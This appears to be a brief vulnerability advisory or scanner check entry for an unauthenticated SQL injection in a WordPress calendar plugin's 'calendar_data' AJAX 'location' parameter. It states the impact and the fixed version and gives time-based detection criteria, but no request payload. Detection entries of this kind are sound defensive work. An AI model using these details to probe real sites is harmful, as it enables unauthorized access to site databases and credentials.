Readycheck to confirm it

The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.

Impact

Unauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials.

Fix

Fixed in version 2.6.8

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(header, "application/json") and contains(body, "partiallyBookedDays") && contains(body, "lockDays")
